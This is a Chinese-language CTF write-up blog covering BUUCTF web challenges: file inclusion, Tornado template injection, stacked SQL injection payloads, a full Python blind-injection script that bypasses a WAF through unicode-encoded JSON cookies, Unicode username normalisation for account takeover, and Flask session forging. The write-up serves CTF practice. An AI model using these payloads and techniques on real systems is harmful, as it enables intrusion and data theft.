BUUCTF平臺-web-邊刷邊記錄-1

1.WarmUp

思路很清晰,文件包含,漏洞點在代碼會二次解碼,只需注入一個?就可使用../../進行路徑穿越,而後去包含flag,flag路徑在hint.php裏面有php

 2.easy_tornado

題目就給了這些信息,flag路徑已知,render應該是跟模板注入相關,hint.txt給的應該是filehash的算法,html

看看url,咱們能夠控制文件名和文件hashnode

隨便傳一個不存在的文件名會跳轉到error頁面,這裏直接把error字符串返回了回來,因此嘗試一下模板注入,寫個9,也返回了,猜想題目應該是咱們須要去算出flag文件對應的filehash,可是由於這個密鑰是不知道的,因此咱們須要去經過模板注入弄出密鑰,題目又是tornado,這裏常規模板注入的字符好比[],()都被過濾掉了,所以嘗試找一些tonado的全局配置來讀取看看python

 

因此用handler.settings能夠訪問到tornado的一些「應用程序設置「,那麼web網站中的一些變量信息應該也在其中存儲着,因此直接訪問就能獲得密鑰,而後就能夠根據這個密鑰來構造filehashmysql

獲得secret而後md5哈希一下就能夠,看文檔仍是有用的,不會就多看文檔多google,固然思路要對,好比這裏就猜想secret存儲在應用的一些全局配置中。linux

3.隨便注

這裏首先提交1,這裏回顯的1對應的數據,而後提交1',報錯了nginx

再提交1' or ''=',返回正常:git

說明確定存在注入,可是這裏把常見的關鍵字都過掉了,而且是不區分大小寫的正則進行過濾,因此常規的查系統表而後注入的方法確定不行,這裏能夠嘗試堆疊注入。web

獲得了兩張表,那麼接下來確定要查一下兩張表有哪些字段,用show coloums from,就能夠獲得flag字段,這裏使用show create table `1919810931114514`;語句也能夠查到表的結構。
而後
算法

 

 這裏有兩種解法:

第一種,由於後端數據庫其實是查詢的words表,可使用alter來更改表名和表字段,讓1919810931114514的表改名爲words表,那麼查詢的words的時候其實是對19這張表的查詢,這思路真騷。

payload爲:

';alter table `1919810931114514` add(id int default 1);alter table words rename xxx;alter table `1919810931114514` rename words;#

而後再查詢就能夠查詢到flag了,這裏我猜想後端語句應該是select * from words where id=1

 

 第二種,除了這種騷操做,常規的我見過的仍是這種:

#coding=utf-8
import requests
#1919810931114514
part_url='http://49.4.66.242:31368/?inject=' payload="select flag from `1919810931114514`;" payload=payload.encode('hex') payload='''1';Set @x=0x'''+str(payload)+''';Prepare a from @x;execute a;%23''' print payload full_url=part_url+payload r=requests.get(url=full_url) print r.content

先編譯sql語句,這裏將payload進行了16進制編碼,而後使用execute來進行執行,這裏16進制編碼的payload在編譯中能夠識別出來的,又學到了。

4.kzone

 直接訪問是跳轉了,說明應該有js之類檢測,不知足就跳轉,直接掃一下目錄:

這裏就不掃了,buu有檢測,怕被ban,總之能夠掃描到源碼:

能夠看到index.php有這一段加以限制

 注入點在member.php裏,此時將cookie中的值json_decode之後拼接username,由於有第一行defined的限制,找到其定義的地方在common.php

其中在safe.php中對一些sql關鍵字進行了過濾union過濾了,and or都過濾了,\s把空格也都過濾了,那麼系統表都用不了了,短路還能夠用^或這||或者&&來代替,單引號也沒有過濾, 所以能夠閉合前面的單引號,字符串截取函數咱們能夠用right,由於ord+mid+ascii+substring都被過濾了,空格能夠用/**/來繞過,可是等號,大於小於也沒了,所以正常的注入語句就用不了,因此必需要bypass,這裏注意到safe.php的過濾

這裏對全部的get、post、cookie的值進行了過濾http頭部內的值是沒有過濾的,那麼能夠嘗試找一下http頭部內有沒有注入的點,可是在此題中是不存在的,可是在member.php中要對cookie中的值進行json_decode,所以能夠先對關鍵字進行unicode編碼一下,而後通過safe.php過濾時能夠順利繞過,再通過json_decode解碼時就能夠還原成正確的payload

先在burp中測試一下注入的邏輯:

當注入admin_user=sss'/**/||/**/'1時,此時返回了兩個set-cookie,當注入admin_user=sss'/**/||/**/'0時,返回了四個set-cookie

 

那麼咱們就能夠經過腳原本判斷返回的set-cookie個數來判斷邏輯,從而完整布爾盲注,固然這裏要用到=等號,和o進行一個unicode編碼替換,編寫腳本以下,咱們能夠依次查庫,用burp一跑就能夠跑出來當前數據庫長度爲12

而後就能夠跑出當前的數據庫,爲hctf_zone

而後跑出第一張表爲fish_admin

第二張表爲ip

第三表爲fish_user

而後最後一張表就是flag所在的表 fl2222g

而後繼續查出該表的字段爲f44ag

而後就能查出flag長度

而後就能查出flag了

exp:

#coding:utf-8
import  string
import time import requests url = "http://web39.buuoj.cn/include/common.php" def encode(payload): payload = payload.replace('or','\u00'+str(hex(ord('o'))[2:])+"r") payload = payload.replace('=','\u00'+str(hex(ord('='))[2:])) payload = payload.replace(' ','/**/') print payload return payload def database_length(): inject = requests.session() db_length = 0 for i in range(20): payload = "tr1ple' or (length((select database()))={}) && '1".format(str(i)) payload = encode(payload) #print(payload) cookie = {"islogin":"1", "login_data": "{\"admin_user\":\""+payload+"\",\"admin_pass\":22}" ,"PHPSESSID":"9ab188f3509995d88a68190fedc82358", "wzws_cid":"2be75d4aa1d0208371049ab3d98730380c3ec0246c2b11de690ffae3a34c87545fac57fe81c91446c6ea0dc9e06f686a8e54160f220dc90124b7a61de8c251f5" } #print(cookie) time.sleep(1) #print inject.get(url=url, cookies=cookie).headers a=inject.get(url=url,cookies=cookie).headers["Set-Cookie"].count('islogin') print a time.sleep(1) if a==1: print "the length of database is {}".format(str(i)) def dump_database(): inject = requests.session() payloads = string.lowercase + "{}" + string.digits+"_" flag = "zone" temp = "" for i in range(5, 100): for j in payloads: temp = j+flag payload = "tr1ple' or (right((select database()),{})='{}') && '1".format(str(i), temp) payload = encode(payload) header={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"} cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}" ,"PHPSESSID": "9ab188f3509995d88a68190fedc82358", "wzws_cid":"5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe8541cedec92acb01375a17927e990adee3e" } # print(cookie) a = inject.get(url=url, cookies=cookie,headers=header).headers["Set-Cookie"] a= a.count('islogin') #print a time.sleep(1) if a==1: flag=temp print flag break def dump_table(): inject = requests.session() payloads = string.lowercase + "{}" + string.digits + "_"+string.uppercase flag = "" temp = "" for i in range(1, 100): for j in payloads: temp = j + flag payload = "tr1ple' or (right((select table_name from information_schema.tables where table_schema=database() limit 3,1),{})='{}') && '1".format(str(i), temp) payload = encode(payload) header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"} cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}" , "PHPSESSID": "9ab188f3509995d88a68190fedc82358", "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27" } # print(cookie) a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"] a = a.count('islogin') # print a time.sleep(1) if a == 1: flag = temp print flag break def dump_column(): inject = requests.session() payloads = string.lowercase + "{}" + string.digits + "_"+string.uppercase flag = "" temp = "" for i in range(1, 100): for j in payloads: temp = j + flag payload = "tr1ple' or (right((select column_name from information_schema.columns where table_schema=database() && table_name=0x666c3232323267 limit 0,1),{})='{}') && '1".format(str(i), temp) payload = encode(payload) header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"} cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}" , "PHPSESSID": "9ab188f3509995d88a68190fedc82358", "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27" } # print(cookie) a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"] a = a.count('islogin') # print a time.sleep(1) if a == 1: flag = temp print flag break def flag_length(): inject = requests.session() db_length = 0 for i in range(10,40): payload = "tr1ple' or (length((select f44ag from fl2222g))={}) && '1".format(str(i)) payload = encode(payload) #print(payload) cookie = {"islogin":"1", "login_data": "{\"admin_user\":\""+payload+"\",\"admin_pass\":22}" ,"PHPSESSID":"9ab188f3509995d88a68190fedc82358", "wzws_cid":"5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe8548ff3860e266289c1326244e9ba33b4ef" } #print(cookie) time.sleep(1) #print inject.get(url=url, cookies=cookie).headers a=inject.get(url=url,cookies=cookie).headers["Set-Cookie"].count('islogin') print a time.sleep(1) if a==1: print "the flag length is {}".format(str(i)) def dump_flag(): inject = requests.session() payloads = string.lowercase + "{}" + string.digits flag = "datmq1oh3j3rp0b18z4m}" temp = "" for i in range(22, 39): for j in payloads: temp = j + flag payload = "tr1ple' or (right((select f44ag from fl2222g),{})='{}') && '1".format(str(i), temp) payload = encode(payload) header = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"} cookie = {"islogin": "1", "login_data": "{\"admin_user\":\"" + payload + "\",\"admin_pass\":22}" , "PHPSESSID": "9ab188f3509995d88a68190fedc82358", "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27" } # print(cookie) a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"] a = a.count('islogin') # print a time.sleep(1) if a == 1: flag = temp print flag break if __name__ == '__main__': #database_length() #dump_database() #dump_table() #dump_column() #flag_length() dump_flag()

 

總結:

這道題考bypass waf來進行注入,雖然waf過濾了不少,可是有個json_decode,所以致使咱們能夠無視waf來進行注入,看了其餘師傅的wp,固然這道題還有幾個值得學習的點:

1.過濾了or,那麼information_schema表用不了了,可是除了這一張元數據表外,還有其它的系統數據表能夠用:

mysql.innodb_table_stats能夠用來查表名

select/**/table_name/**/from/**/mysql.innodb_table_stats/**/limit/**/0,1

可是這種貌似不能直接查到字段,要是要提取flag的話,還得讓這個flag表只有一列

連接:https://xz.aliyun.com/t/3253#toc-7

2.對於注入時能夠添加binary到字段前防止在對比時大小寫不敏感:

3.除了一般的字符串截取函數,mid+substr,right,left,仍是能夠用字符串比較函數strcmp,返回1或-1,一樣能夠用來盲注

或者find_in_set,兩個字符串相等爲1,不然爲0,這個比較少見

更多的bypass先知上有人發了一篇,能夠拿來參考

https://xz.aliyun.com/t/3992#toc-18

4.調試payload

在nu1l的wp中也看到了能夠發包到burp進行調試,這樣很方便看到payload的效果,只要涉及到mysql函數嵌套的就用括號包起來

5.admin

解法1:

第一種,利用unicode編碼的漏洞,在unicode能表示的字符中,有的字符長的很類似,而恰巧有一些函數可以進行字符之間的轉換,從而形成意想不到的結果

他們對用戶名是否重複的判斷是執行一次這個函數而後進行比對 ,例如AAA會被變爲aaa則和以前已經註冊過的aaa重複 ,可是這裏出現了一個錯誤,註冊一個ᴬᴬᴬ,通過函數處理後變成了AAA,由於與aaa不一樣因此註冊成功,而在用戶點擊重置密碼的鏈接的時候,這個函數再次被執行了一次,AAA變成了aaa,致使用戶aaa的密碼被越權修改,這段話摘自:http://blog.lnyas.xyz/?p=1411,因此纔可以致使在註冊的時候ᴬdmin,登錄的時候通過函數處理依次變爲Admin,改密碼再處理一次變爲admin,從而就修改了admin的密碼,關於這個是如何發現的,我以爲若是自己熟悉python開發的話很快就能意識到strlower的問題,通常轉化小寫不用這個函數,因此咱們才須要去跟蹤研究此函數可能存在的bypass方法,而且對於此題,給了登錄,註冊,修改密碼,那麼通常套路應該就是要修改admin的密碼再登陸。

解法2:

直接修改把session打印出來就能夠,通常給了源碼本地就能夠跑起來模擬

在config.py裏面也給了secretkey,能夠直接進行cookie僞造,flask session是存儲在客戶端的,只有簽名防竄改做用,可是不是加密的,所以客戶端可讀,若是flask用來簽名session的key泄露,那麼就能夠僞造session

 

6.hideandseek

這道題平臺環境壞了,說一下思路:

1.zip軟連接+任意文件讀取

首先要上傳一個zip,能夠軟連接到任意文件,從而形成任意文件讀取,由於是flask框架,先讀/proc/self/environ,能夠獲得

UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
WSGI 的官方定義是,the Python Web Server Gateway Interface。從名字就能夠看出來,這東西是一個Gateway,也就是網關。網關的做用就是在協議之間進行轉換。
WSGI 是做爲 Web 服務器與 Web 應用程序或應用框架之間的一種低級別的接口,以提高可移植 Web 應用開發的共同點。WSGI 是基於現存的 CGI 標準而設計的。
不少框架都自帶了 WSGI server ,好比 Flask,webpy,Django、CherryPy等等。固然性能都很差,自帶的 web server 更多的是測試用途,發佈時則使用生產環境的 WSGI server或者是聯合 nginx 作 uwsgi 。
uWSGI是一個Web服務器,它實現了WSGI協議、uwsgi、http等協議。Nginx中HttpUwsgiModule的做用是與uWSGI服務器進行交換。
爲何有了uWSGI爲何還須要nginx?由於nginx具有優秀的靜態內容處理能力,而後將動態內容轉發給uWSGI服務器,這樣能夠達到很好的客戶端響應。

瞭解到uwsgi實際上是個通常python web用的web服務器,用來動態處理客戶端的請求,那麼uswgi.ini中應該包含了

再讀取uwsgi_ini能夠獲得當前python web服務器的一些配置信息:

其中module中包含着py文件的路徑名稱,從而結合/proc/self/environ中的PWD來讀取py的源碼

即/app/hard_t0_guess_n9f5a95b5ku9fg/+module名.py

2.僞隨機+session僞造

flask sesion僞造時必需要知道secret key,這裏

random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)

uuid.getnode()函數是取mac地址做爲種子,所以爲固定值,因此能夠本地跑出來secretkey,而linux的mac地址保存在/sys/class/net/eth0/address

所以就能夠僞造cookie登錄了,這裏不能直接讀flag,必須以admin登陸才能夠,由於有限制:

而且在/app/hard_t0_guess_n9f5a95b5ku9fg/index.html裏面有

 因此這道題並無新知識點,構造session的時候通常要和服務器端py版本一致

這個地址能夠將mac地址轉到10進制,從而輸入種子,https://www.vultr.com/resources/mac-converter/

相關文章
相關標籤/搜索